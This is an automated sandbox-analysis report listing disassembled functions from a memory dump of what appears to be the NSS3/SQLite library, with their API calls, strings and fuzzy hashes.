String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 3bb7264a0ef07fdfe9f7f08e1061cddde39c6d2e3727c2e8844af0c09bf3b38c
Instruction ID: f9f116436c334ffe78a3fc7e1e15b85611cb7a46844abf0ed49d12b130dc7125
Opcode Fuzzy Hash: 3bb7264a0ef07fdfe9f7f08e1061cddde39c6d2e3727c2e8844af0c09bf3b38c
Instruction Fuzzy Hash: D372AE70E04205CFDB14CF29C684BAABBF2BF89308F1581ADD9159BB52D775E846CB90

Function 6C844540 Relevance: 10.7, APIs: 7, Instructions: 170COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C844571
memset.VCRUNTIME140(?,00000000,00000000), ref: 6C8445B1
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C8445C2

Part of subcall function 6C8404C0: WaitForSingleObject.KERNEL32(ED850FC0,000000FF,?,00000000,?,6C84461B,-00000004), ref: 6C8404DF
Part of subcall function 6C8404C0: PR_SetError.NSS3(FFFFE89D,00000000,?,00000000,?,6C84461B,-00000004), ref: 6C840534

PR_Now.NSS3 ref: 6C844626

Part of subcall function 6C879DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C8C0A27), ref: 6C879DC6
Part of subcall function 6C879DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C8C0A27), ref: 6C879DD1

memcmp.VCRUNTIME140(?,?,?,00000000,?,000F4240,00000000), ref: 6C8446C4
PR_SetError.NSS3(FFFFD05A,00000000,00000000,?,000F4240,00000000), ref: 6C8446E3
PR_SetError.NSS3(?,00000000), ref: 6C844722

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: ErrorTime$System$FileObjectSingleValueWaitmemcmpmemcpymemset
String ID:
API String ID: 3318965147-0
Opcode ID: e592a1db55372a9f6c75dd3d6b657501f19dd7a09c7eaa19c12944148a0a4186
Instruction ID: e5948cf64fd82475f118cecacd2d15eacb51dfae072e4f40e5e979dae1a56c46
Opcode Fuzzy Hash: e592a1db55372a9f6c75dd3d6b657501f19dd7a09c7eaa19c12944148a0a4186
Instruction Fuzzy Hash: 8E6106B1E046089FEB20CF68C985B5AB7F5FF9A308F558929E8459BB41E730F915CB40

Function 6C87AC62 Relevance: 9.1, APIs: 6, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 6C87AC6E
memset.VCRUNTIME140(?,00000000,00000003,00000017,?), ref: 6C87AC93
memset.VCRUNTIME140(?,00000000,00000050,?,00000017,?), ref: 6C87AD1D
IsDebuggerPresent.KERNEL32(?,?,?,?,00000017,?), ref: 6C87AD39
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,00000017,?), ref: 6C87AD59
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,00000017,?), ref: 6C87AD63

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$DebuggerFeatureProcessor
String ID:
API String ID: 1045392073-0
Opcode ID: 0a27a1b2cf39f92f43be1614f5a182bed8dea2062b5ba7ad98417582bd02eec6
Instruction ID: 70493de35500fe794943c68b2a62504f8826a9883600b972a3dd5b3d115985e8
Opcode Fuzzy Hash: 0a27a1b2cf39f92f43be1614f5a182bed8dea2062b5ba7ad98417582bd02eec6
Instruction Fuzzy Hash: CC312C75D4521C9BDF20DF64CA897CCBBB8BF08705F1045AAE40CA7240EB719A85CF55

Function 6C790820 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 1448COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000001,00000001), ref: 6C7911D2

Strings

not authorized, xrefs: 6C79175E, 6C791763
@, xrefs: 6C790B17
authorizer malfunction, xrefs: 6C791BD2
rows deleted, xrefs: 6C7917D2

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: memset
String ID: @$authorizer malfunction$not authorized$rows deleted
API String ID: 2221118986-4041583037
Opcode ID: bf558f881cf52e7292906c2bbfb6624df7cdd7b905bc3e7376c8f351a2cba156
Instruction ID: 29ca9265d6b54d61692e55dc60f14012eb3af875300b4215933b94f7b5bfdd8e
Opcode Fuzzy Hash: bf558f881cf52e7292906c2bbfb6624df7cdd7b905bc3e7376c8f351a2cba156
Instruction Fuzzy Hash: 28D29A70E04249CFDB14CFA9D584B9DBBF6BF49308F2882A9D415ABB51D731E856CB80

Function 6C7C4420 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?), ref: 6C7C4444
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C7C4466

Part of subcall function 6C811200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C7B88A4,00000000,00000000), ref: 6C811228
Part of subcall function 6C811200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C811238
Part of subcall function 6C811200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C7B88A4,00000000,00000000), ref: 6C81124B
Part of subcall function 6C811200: PR_CallOnce.NSS3(6C912AA4,6C8112D0,00000000,00000000,00000000,?,6C7B88A4,00000000,00000000), ref: 6C81125D
Part of subcall function 6C811200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C81126F
Part of subcall function 6C811200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C811280
Part of subcall function 6C811200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C81128E
Part of subcall function 6C811200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C81129A
Part of subcall function 6C811200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C8112A1

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C7C447A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C7C448A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C7C4494

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$Item_Zfree$ArenaCriticalFreePoolSectionfree$Arena_CallClearDeleteEnterOnceUnlockValuememset
String ID:
API String ID: 241050562-0
Opcode ID: 1275638f1b4a265ffaecf375b108838d4d6efcdd760d6e84223a7fbeb22e08ce
Instruction ID: 0ca90cc8f828dc146ccc921c3cc2309662fd5fa998e35ddecd1f70c7e499a71f
Opcode Fuzzy Hash: 1275638f1b4a265ffaecf375b108838d4d6efcdd760d6e84223a7fbeb22e08ce
Instruction Fuzzy Hash: DB11AEB2E007059FD7308F249D815A7B7F8FB69318B144B3EE89992A00F375B6988691

Function 6C8CCDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C8CD086
PR_Malloc.NSS3(00000001), ref: 6C8CD0B9
PR_Free.NSS3(?), ref: 6C8CD138

Strings

>, xrefs: 6C8CCF5B

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 815a80d18cdcf07ab2297d2708afe61a0574a74c5837a8df19519078d3ee5979
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: A6D16062B8154A4FEB346B7C8DA13D9B7938743374F584B2BD5219BBD6E615C8438303

Function 6C86AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9eb17ebbda422b18e39e126af5e60c302a703fb219f3c36426e74625f39e6772
Instruction ID: b9dace5d7d745772fe10602e32d15be6b152ad57a2b8f16a358797e3eda0881a
Opcode Fuzzy Hash: 9eb17ebbda422b18e39e126af5e60c302a703fb219f3c36426e74625f39e6772
Instruction Fuzzy Hash: A4F1CEB1F092658BDB24CF29CA423A977F1AB8A308F254A2DD945D7F40E7709A45CBC1

Function 6C8425B0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,6C825A85), ref: 6C842675
PK11_Encrypt.NSS3(?,00001081,00000000,?,?,00000010,?,00000010), ref: 6C842659

Part of subcall function 6C7F3850: TlsGetValue.KERNEL32 ref: 6C7F389F
Part of subcall function 6C7F3850: EnterCriticalSection.KERNEL32(?), ref: 6C7F38B3
Part of subcall function 6C7F3850: PR_Unlock.NSS3(?), ref: 6C7F38F1
Part of subcall function 6C7F3850: TlsGetValue.KERNEL32 ref: 6C7F390F
Part of subcall function 6C7F3850: EnterCriticalSection.KERNEL32(?), ref: 6C7F3923
Part of subcall function 6C7F3850: PR_Unlock.NSS3(?), ref: 6C7F3972

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C842697
PK11_Encrypt.NSS3(?,?,?,?,00000000,6C825A85,?,6C825A85), ref: 6C842717

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CriticalEncryptEnterK11_SectionUnlockValue$Errormemcpy
String ID:
API String ID: 3114817199-0
Opcode ID: 7d7240744fb885a70079ec0168e430592d00adf04b2034a16fd4e14475e96fc5
Instruction ID: 64d6a77e55c0e7e194d0c0c2a87d1de1c8e460830109f0447c13bf673a6c70b1
Opcode Fuzzy Hash: 7d7240744fb885a70079ec0168e430592d00adf04b2034a16fd4e14475e96fc5
Instruction Fuzzy Hash: 11412831A0C38866FB318E18CD89FDB73A8EFC1718F208919F95486641EB75998587D3

Function 6C798540 Relevance: 6.0, APIs: 1, Strings: 2, Instructions: 782COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000011C,automatic index on %s(%s),?,00000001), ref: 6C798705

Strings

automatic index on %s(%s), xrefs: 6C7986FB
BINARY, xrefs: 6C798B02, 6C798DA2, 6C798E27, 6C798E60

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: sqlite3_log
String ID: BINARY$automatic index on %s(%s)
API String ID: 632333372-611788421
Opcode ID: b5d91f2635528dbfc909ed73539900e7aad9c637960326b0e2b1e163fa5e1745
Instruction ID: 0cf3a3c1016644e548a796a656daa3a54d309d37a24c8a05851d12ef4622e68d
Opcode Fuzzy Hash: b5d91f2635528dbfc909ed73539900e7aad9c637960326b0e2b1e163fa5e1745
Instruction Fuzzy Hash: A8629F75A083419FD704CF28D581B1AB7F1FF89348F148A6EE8999B752D731E846CB82

Function 6C7864D0 Relevance: 5.7, Strings: 4, Instructions: 724COMMON

Download Yara Rule

Strings

not authorized, xrefs: 6C786D47, 6C786D4C
WBul, xrefs: 6C78679E
WBul, xrefs: 6C78655C
authorizer malfunction, xrefs: 6C786E3E

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID:
String ID: WBul$WBul$authorizer malfunction$not authorized
API String ID: 0-3799564411
Opcode ID: 7ca6437c94ed30a1da02f9f7776e390f2a314579a78513c6f19ecc179f7a76e0
Instruction ID: 9855ca2352e2d6136a7816d5bd57c5d13d14c543be69a8eeb312eaca183a93dc
Opcode Fuzzy Hash: 7ca6437c94ed30a1da02f9f7776e390f2a314579a78513c6f19ecc179f7a76e0
Instruction Fuzzy Hash: 8B628F70A05204DFDB14CF29C584AA97BF2FF49308F2481BDDA159B7A6D736E916CB80

Function 6C746F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

unordered*, xrefs: 6C74702B
*?[, xrefs: 6C747034, 6C747052, 6C747070
noskipscan*, xrefs: 6C747067
sz=[0-9]*, xrefs: 6C747049

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: 5fa32fb86dd61b28f9a12598df42cbc4ecc8bc6ed7fa98f9be08909ba4214903
Instruction ID: e7f309b96d045934038d06461289c11accfbd8f33e15c568523e87034a66721a
Opcode Fuzzy Hash: 5fa32fb86dd61b28f9a12598df42cbc4ecc8bc6ed7fa98f9be08909ba4214903
Instruction Fuzzy Hash: B5718B32F002518BEB248E6CCA8039E73A2DF85354F258279C965ABBD2D7719D4AC7C1

Function 6C7DEE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7DF019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C7DF0F9

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 96bd3d67f1af24e609e17121b002cdf5840f14a2bfdfec3186fc9a4e7ebd312f
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 8F918E71A0061A8BCB14CF68C9916AEB7F1FF85324F25472DD962A7BC1D730B905CBA1

Function 6C802F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6C827929), ref: 6C802FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6C827929), ref: 6C802FE0

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 64514dfad4010c245448001c5ceb5d6b4674bbf4c2d9fffd15beba830ef59786
Instruction ID: 316e3fab03c18c366ce9e4190467c194a594317069decc2f39406ef122d945de
Opcode Fuzzy Hash: 64514dfad4010c245448001c5ceb5d6b4674bbf4c2d9fffd15beba830ef59786
Instruction Fuzzy Hash: 875101B1B069168FD7308E5ACE80F6A73B1FB45318F294939D9099BB02C775ED46CB81

Function 6C7A6410 Relevance: 3.0, APIs: 2, Instructions: 21networkCOMMON

Download Yara Rule

APIs

bind.WSOCK32(?,?,?,?,6C7A6401,?,?,0000001C), ref: 6C7A6422
WSAGetLastError.WSOCK32(?,?,?,?,6C7A6401,?,?,0000001C), ref: 6C7A6432

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: ErrorLastbind
String ID:
API String ID: 2328862993-0
Opcode ID: f456ccdb1e3c1fd0dfe4ea7f50aef8be549060bf7dd6523552c17151d2cde162
Instruction ID: 603275970c0822443e5cedd428d7d9375f8a739bf33087b95f5a8c6b901fde57
Opcode Fuzzy Hash: f456ccdb1e3c1fd0dfe4ea7f50aef8be549060bf7dd6523552c17151d2cde162
Instruction Fuzzy Hash: 4DE086312001046F8B049FBC8D0485A37959F082287408A30F539C7A60E631D5658741

Function 6C820E20 Relevance: 2.8, APIs: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C821052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C821086

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: 538e27a89c310e66650777b0d8ac57ce099c21d91fb1a7b762869ffbed5a5c04
Instruction ID: 8226078c7c2d45e5afefe7ee86f3b045d7e35d551fbf32731c5a16d8d79f45b2
Opcode Fuzzy Hash: 538e27a89c310e66650777b0d8ac57ce099c21d91fb1a7b762869ffbed5a5c04
Instruction Fuzzy Hash: A0A14D75B0124A9FCF18CF99C994AEEB7B6BF4C314B148529E914A7700D739EC91CBA0

Function 6C74AC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C74AE9F
winUnlock, xrefs: 6C74AE18

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: 02f42e13ea7fb96a7f2421a21f1aaf53460eb6be88213cd9495b8cabfbb182fb
Instruction ID: 04544f53e1e1403e747942b4bc1baae6eaf851f63fb832362532b58ae05e3689
Opcode Fuzzy Hash: 02f42e13ea7fb96a7f2421a21f1aaf53460eb6be88213cd9495b8cabfbb182fb
Instruction Fuzzy Hash: 3071AE716082449FDB04CF28D981AABBBF5FF89314F24CA2CF99997641D730A985CBD1

Function 6C80ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C80EE3D

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
